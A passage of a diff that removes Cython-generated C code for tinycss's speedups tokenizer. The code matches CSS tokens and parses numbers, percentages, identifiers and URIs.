__pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_10); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_11 = Py_TYPE(__pyx_t_10)->tp_iternext; - index = 0; __pyx_t_7 = __pyx_t_11(__pyx_t_10); if (unlikely(!__pyx_t_7)) goto __pyx_L11_unpacking_failed; - __Pyx_GOTREF(__pyx_t_7); - index = 1; __pyx_t_6 = __pyx_t_11(__pyx_t_10); if (unlikely(!__pyx_t_6)) goto __pyx_L11_unpacking_failed; - __Pyx_GOTREF(__pyx_t_6); - index = 2; __pyx_t_9 = __pyx_t_11(__pyx_t_10); if (unlikely(!__pyx_t_9)) goto __pyx_L11_unpacking_failed; - __Pyx_GOTREF(__pyx_t_9); - if (__Pyx_IternextUnpackEndCheck(__pyx_t_11(__pyx_t_10), 3) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - goto __pyx_L12_unpacking_done; - __pyx_L11_unpacking_failed:; - __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyErr_Occurred() && PyErr_ExceptionMatches(PyExc_StopIteration)) PyErr_Clear(); - if (!PyErr_Occurred()) __Pyx_RaiseNeedMoreValuesError(index); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_L12_unpacking_done:; - } - __pyx_t_12 = __Pyx_PyIndex_AsSsize_t(__pyx_t_7); if (unlikely((__pyx_t_12 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_v_type_ = __pyx_t_12; - __Pyx_XDECREF(__pyx_v_type_name); - __pyx_v_type_name = __pyx_t_6; - __pyx_t_6 = 0; - __Pyx_XDECREF(__pyx_v_regexp); - __pyx_v_regexp = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":108 - * codepoint = min(ord(char), 160) - * for type_, type_name, regexp in tokens_dispatch[codepoint]: - * match = regexp(css_source, pos) # <<<<<<<<<<<<<< - * if match: - * # First match is the longest. See comments on TOKENS above. - */ - __pyx_t_1 = PyInt_FromSsize_t(__pyx_v_pos); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 108; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = PyTuple_New(2); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 108; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_css_source); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_css_source); - __Pyx_GIVEREF(__pyx_v_css_source); - PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_t_1); - __Pyx_GIVEREF(__pyx_t_1); - __pyx_t_1 = 0; - __pyx_t_1 = PyObject_Call(__pyx_v_regexp, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 108; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_XDECREF(__pyx_v_match); - __pyx_v_match = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":109 - * for type_, type_name, regexp in tokens_dispatch[codepoint]: - * match = regexp(css_source, pos) - * if match: # <<<<<<<<<<<<<< - * # First match is the longest. See comments on TOKENS above. - * css_value = match.group() - */ - __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_v_match); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 109; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":111 - * if match: - * # First match is the longest. See comments on TOKENS above. - * css_value = match.group() # <<<<<<<<<<<<<< - * break - * else: - */ - __pyx_t_1 = PyObject_GetAttr(__pyx_v_match, __pyx_n_s__group); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 111; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 111; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XDECREF(__pyx_v_css_value); - __pyx_v_css_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":112 - * # First match is the longest. See comments on TOKENS above. - * css_value = match.group() - * break # <<<<<<<<<<<<<< - * else: - * # No match. - */ - goto __pyx_L10_break; - goto __pyx_L13; - } - __pyx_L13:; - } - /*else*/ { - - /* "tinycss/speedups.pyx":119 - * # ... but quotes at the start of a token are always matched - * # by STRING or BAD_STRING. So DELIM is any single character. - * type_ = DELIM # <<<<<<<<<<<<<< - * type_name = 'DELIM' - * css_value = char - */ - __pyx_v_type_ = __pyx_v_DELIM; - - /* "tinycss/speedups.pyx":120 - * # by STRING or BAD_STRING. So DELIM is any single character. - * type_ = DELIM - * type_name = 'DELIM' # <<<<<<<<<<<<<< - * css_value = char - * length = len(css_value) - */ - __Pyx_INCREF(((PyObject *)__pyx_n_u__DELIM)); - __Pyx_XDECREF(__pyx_v_type_name); - __pyx_v_type_name = ((PyObject *)__pyx_n_u__DELIM); - - /* "tinycss/speedups.pyx":121 - * type_ = DELIM - * type_name = 'DELIM' - * css_value = char # <<<<<<<<<<<<<< - * length = len(css_value) - * next_pos = pos + length - */ - __Pyx_INCREF(__pyx_v_char); - __Pyx_XDECREF(__pyx_v_css_value); - __pyx_v_css_value = __pyx_v_char; - } - __pyx_L10_break:; - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - } - __pyx_L8:; - - /* "tinycss/speedups.pyx":122 - * type_name = 'DELIM' - * css_value = char - * length = len(css_value) # <<<<<<<<<<<<<< - * next_pos = pos + length - * - */ - __pyx_t_2 = PyObject_Length(__pyx_v_css_value); if (unlikely(__pyx_t_2 == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 122; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_v_length = __pyx_t_2; - - /* "tinycss/speedups.pyx":123 - * css_value = char - * length = len(css_value) - * next_pos = pos + length # <<<<<<<<<<<<<< - * - * # A BAD_COMMENT is a comment at EOF. Ignore it too. - */ - __pyx_v_next_pos = (__pyx_v_pos + __pyx_v_length); - - /* "tinycss/speedups.pyx":126 - * - * # A BAD_COMMENT is a comment at EOF. Ignore it too. - * if not (ignore_comments and type_ in (COMMENT, BAD_COMMENT)): # <<<<<<<<<<<<<< - * # Parse numbers, extract strings and URIs, unescape - * unit = None - */ - if (__pyx_v_ignore_comments) { - __pyx_t_2 = __pyx_v_type_; - __pyx_t_3 = ((int)(__pyx_t_2 == __pyx_v_COMMENT)); - if (!__pyx_t_3) { - __pyx_t_13 = ((int)(__pyx_t_2 == __pyx_v_BAD_COMMENT)); - __pyx_t_14 = __pyx_t_13; - } else { - __pyx_t_14 = __pyx_t_3; - } - __pyx_t_3 = __pyx_t_14; - __pyx_t_14 = __pyx_t_3; - } else { - __pyx_t_14 = __pyx_v_ignore_comments; - } - __pyx_t_3 = (!__pyx_t_14); - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":128 - * if not (ignore_comments and type_ in (COMMENT, BAD_COMMENT)): - * # Parse numbers, extract strings and URIs, unescape - * unit = None # <<<<<<<<<<<<<< - * if type_ == DIMENSION: - * value = match.group(1) - */ - __Pyx_INCREF(Py_None); - __Pyx_XDECREF(__pyx_v_unit); - __pyx_v_unit = Py_None; - - /* "tinycss/speedups.pyx":129 - * # Parse numbers, extract strings and URIs, unescape - * unit = None - * if type_ == DIMENSION: # <<<<<<<<<<<<<< - * value = match.group(1) - * value = float(value) if '.' in value else int(value) - */ - __pyx_t_3 = (__pyx_v_type_ == __pyx_v_DIMENSION); - if (__pyx_t_3) { - if (unlikely(!__pyx_v_match)) { __Pyx_RaiseUnboundLocalError("match"); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 130; __pyx_clineno = __LINE__; goto __pyx_L1_error;} }__pyx_t_5 = PyObject_GetAttr(__pyx_v_match, __pyx_n_s__group); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 130; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - - /* "tinycss/speedups.pyx":130 - * unit = None - * if type_ == DIMENSION: - * value = match.group(1) # <<<<<<<<<<<<<< - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) - */ - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = PyObject_Call(__pyx_t_5, ((PyObject *)__pyx_k_tuple_6), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 130; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":131 - * if type_ == DIMENSION: - * value = match.group(1) - * value = float(value) if '.' in value else int(value) # <<<<<<<<<<<<<< - * unit = match.group(2) - * unit = simple_unescape(unit) - */ - __pyx_t_3 = ((PySequence_Contains(__pyx_v_value, ((PyObject *)__pyx_kp_u_7)))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - __pyx_t_15 = __Pyx_PyObject_AsDouble(__pyx_v_value); if (unlikely(__pyx_t_15 == ((double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_t_5 = PyFloat_FromDouble(__pyx_t_15); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = __pyx_t_5; - __pyx_t_5 = 0; - } else { - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_1 = PyObject_Call(((PyObject *)((PyObject*)(&PyInt_Type))), ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __pyx_t_9 = __pyx_t_1; - __pyx_t_1 = 0; - } - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":132 - * value = match.group(1) - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) # <<<<<<<<<<<<<< - * unit = simple_unescape(unit) - * unit = unicode_unescape(unit) - */ - __pyx_t_9 = PyObject_GetAttr(__pyx_v_match, __pyx_n_s__group); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 132; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_1 = PyObject_Call(__pyx_t_9, ((PyObject *)__pyx_k_tuple_8), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 132; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":133 - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) - * unit = simple_unescape(unit) # <<<<<<<<<<<<<< - * unit = unicode_unescape(unit) - * unit = unit.lower() # normalize - */ - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 133; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(__pyx_v_unit); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_unit); - __Pyx_GIVEREF(__pyx_v_unit); - __pyx_t_9 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 133; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":134 - * unit = match.group(2) - * unit = simple_unescape(unit) - * unit = unicode_unescape(unit) # <<<<<<<<<<<<<< - * unit = unit.lower() # normalize - * elif type_ == PERCENTAGE: - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 134; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_unit); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_unit); - __Pyx_GIVEREF(__pyx_v_unit); - __pyx_t_1 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 134; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":135 - * unit = simple_unescape(unit) - * unit = unicode_unescape(unit) - * unit = unit.lower() # normalize # <<<<<<<<<<<<<< - * elif type_ == PERCENTAGE: - * value = css_value[:-1] - */ - __pyx_t_1 = PyObject_GetAttr(__pyx_v_unit, __pyx_n_s__lower); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 135; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 135; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = __pyx_t_9; - __pyx_t_9 = 0; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":136 - * unit = unicode_unescape(unit) - * unit = unit.lower() # normalize - * elif type_ == PERCENTAGE: # <<<<<<<<<<<<<< - * value = css_value[:-1] - * value = float(value) if '.' in value else int(value) - */ - __pyx_t_3 = (__pyx_v_type_ == __pyx_v_PERCENTAGE); - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":137 - * unit = unit.lower() # normalize - * elif type_ == PERCENTAGE: - * value = css_value[:-1] # <<<<<<<<<<<<<< - * value = float(value) if '.' in value else int(value) - * unit = '%' - */ - __pyx_t_9 = __Pyx_PySequence_GetSlice(__pyx_v_css_value, 0, -1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 137; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":138 - * elif type_ == PERCENTAGE: - * value = css_value[:-1] - * value = float(value) if '.' in value else int(value) # <<<<<<<<<<<<<< - * unit = '%' - * elif type_ == NUMBER: - */ - __pyx_t_3 = ((PySequence_Contains(__pyx_v_value, ((PyObject *)__pyx_kp_u_7)))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - __pyx_t_15 = __Pyx_PyObject_AsDouble(__pyx_v_value); if (unlikely(__pyx_t_15 == ((double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_t_1 = PyFloat_FromDouble(__pyx_t_15); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = __pyx_t_1; - __pyx_t_1 = 0; - } else { - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(((PyObject *)((PyObject*)(&PyInt_Type))), ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 138; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __pyx_t_9 = __pyx_t_5; - __pyx_t_5 = 0; - } - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":139 - * value = css_value[:-1] - * value = float(value) if '.' in value else int(value) - * unit = '%' # <<<<<<<<<<<<<< - * elif type_ == NUMBER: - * value = css_value - */ - __Pyx_INCREF(((PyObject *)__pyx_kp_u_9)); - __Pyx_DECREF(__pyx_v_unit); - __pyx_v_unit = ((PyObject *)__pyx_kp_u_9); - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":140 - * value = float(value) if '.' in value else int(value) - * unit = '%' - * elif type_ == NUMBER: # <<<<<<<<<<<<<< - * value = css_value - * if '.' in value: - */ - __pyx_t_3 = (__pyx_v_type_ == __pyx_v_NUMBER); - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":141 - * unit = '%' - * elif type_ == NUMBER: - * value = css_value # <<<<<<<<<<<<<< - * if '.' in value: - * value = float(value) - */ - __Pyx_INCREF(__pyx_v_css_value); - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_v_css_value; - - /* "tinycss/speedups.pyx":142 - * elif type_ == NUMBER: - * value = css_value - * if '.' in value: # <<<<<<<<<<<<<< - * value = float(value) - * else: - */ - __pyx_t_3 = ((PySequence_Contains(__pyx_v_value, ((PyObject *)__pyx_kp_u_7)))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 142; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":143 - * value = css_value - * if '.' in value: - * value = float(value) # <<<<<<<<<<<<<< - * else: - * value = int(value) - */ - __pyx_t_15 = __Pyx_PyObject_AsDouble(__pyx_v_value); if (unlikely(__pyx_t_15 == ((double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 143; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_t_9 = PyFloat_FromDouble(__pyx_t_15); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 143; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - goto __pyx_L17; - } - /*else*/ { - - /* "tinycss/speedups.pyx":145 - * value = float(value) - * else: - * value = int(value) # <<<<<<<<<<<<<< - * type_name = 'INTEGER' - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 145; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(((PyObject *)((PyObject*)(&PyInt_Type))), ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 145; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - - /* "tinycss/speedups.pyx":146 - * else: - * value = int(value) - * type_name = 'INTEGER' # <<<<<<<<<<<<<< - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): - * value = simple_unescape(css_value) - */ - __Pyx_INCREF(((PyObject *)__pyx_n_u__INTEGER)); - __Pyx_DECREF(__pyx_v_type_name); - __pyx_v_type_name = ((PyObject *)__pyx_n_u__INTEGER); - } - __pyx_L17:; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":147 - * value = int(value) - * type_name = 'INTEGER' - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): # <<<<<<<<<<<<<< - * value = simple_unescape(css_value) - * value = unicode_unescape(value) - */ - __pyx_t_2 = __pyx_v_type_; - __pyx_t_3 = ((int)(__pyx_t_2 == __pyx_v_IDENT)); - if (!__pyx_t_3) { - __pyx_t_14 = ((int)(__pyx_t_2 == __pyx_v_ATKEYWORD)); - __pyx_t_13 = __pyx_t_14; - } else { - __pyx_t_13 = __pyx_t_3; - } - if (!__pyx_t_13) { - __pyx_t_3 = ((int)(__pyx_t_2 == __pyx_v_HASH)); - __pyx_t_14 = __pyx_t_3; - } else { - __pyx_t_14 = __pyx_t_13; - } - if (!__pyx_t_14) { - __pyx_t_13 = ((int)(__pyx_t_2 == __pyx_v_FUNCTION)); - __pyx_t_3 = __pyx_t_13; - } else { - __pyx_t_3 = __pyx_t_14; - } - __pyx_t_14 = __pyx_t_3; - if (__pyx_t_14) { - - /* "tinycss/speedups.pyx":148 - * type_name = 'INTEGER' - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): - * value = simple_unescape(css_value) # <<<<<<<<<<<<<< - * value = unicode_unescape(value) - * elif type_ == URI: - */ - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 148; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_5)); - __Pyx_INCREF(__pyx_v_css_value); - PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_css_value); - __Pyx_GIVEREF(__pyx_v_css_value); - __pyx_t_9 = PyObject_Call(__pyx_v_simple_unescape, ((PyObject *)__pyx_t_5), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 148; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(((PyObject *)__pyx_t_5)); __pyx_t_5 = 0; - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":149 - * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): - * value = simple_unescape(css_value) - * value = unicode_unescape(value) # <<<<<<<<<<<<<< - * elif type_ == URI: - * value = match.group(1) - */ - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 149; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_9)); - __Pyx_INCREF(__pyx_v_value); - PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __pyx_t_5 = PyObject_Call(__pyx_v_unicode_unescape, ((PyObject *)__pyx_t_9), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 149; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_9)); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_5; - __pyx_t_5 = 0; - goto __pyx_L16; - } - - /* "tinycss/speedups.pyx":150 - * value = simple_unescape(css_value) - * value = unicode_unescape(value) - * elif type_ == URI: # <<<<<<<<<<<<<< - * value = match.group(1) - * if value and value[0] in '"\'': - */ - __pyx_t_14 = (__pyx_v_type_ == __pyx_v_URI); - if (__pyx_t_14) { - if (unlikely(!__pyx_v_match)) { __Pyx_RaiseUnboundLocalError("match"); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 151; __pyx_clineno = __LINE__; goto __pyx_L1_error;} }__pyx_t_5 = PyObject_GetAttr(__pyx_v_match, __pyx_n_s__group); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 151; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - - /* "tinycss/speedups.pyx":151 - * value = unicode_unescape(value) - * elif type_ == URI: - * value = match.group(1) # <<<<<<<<<<<<<< - * if value and value[0] in '"\'': - * value = value[1:-1] # Remove quotes - */ - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = PyObject_Call(__pyx_t_5, ((PyObject *)__pyx_k_tuple_10), NULL); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 151; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_XDECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* "tinycss/speedups.pyx":152 - * elif type_ == URI: - * value = match.group(1) - * if value and value[0] in '"\'': # <<<<<<<<<<<<<< - * value = value[1:-1] # Remove quotes - * value = newline_unescape(value) - */ - __pyx_t_14 = __Pyx_PyObject_IsTrue(__pyx_v_value); if (unlikely(__pyx_t_14 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 152; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_14) { - __pyx_t_9 = __Pyx_GetItemInt(__pyx_v_value, 0, sizeof(long), PyInt_FromLong); if (!__pyx_t_9) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 152; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_3 = ((PySequence_Contains(((PyObject *)__pyx_kp_u_11), __pyx_t_9))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 152; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_13 = __pyx_t_3; - } else { - __pyx_t_13 = __pyx_t_14; - } - if (__pyx_t_13) { - - /* "tinycss/speedups.pyx":153 - * value = match.group(1) - * if value and value[0] in '"\'': - * value = value[1:-1] # Remove quotes # <<<<<<<<<<<<<< - * value = newline_unescape(value) - * value = simple_unescape(value) - */ - __pyx_t_9 = __Pyx_PySequence_GetSlice(__pyx_v_value, 1, -1); if (unlikely(!__pyx_t_9)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 153; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_v_value); - __pyx_v_value = __pyx_t_9; - __pyx_t_9 = 0; - - /* 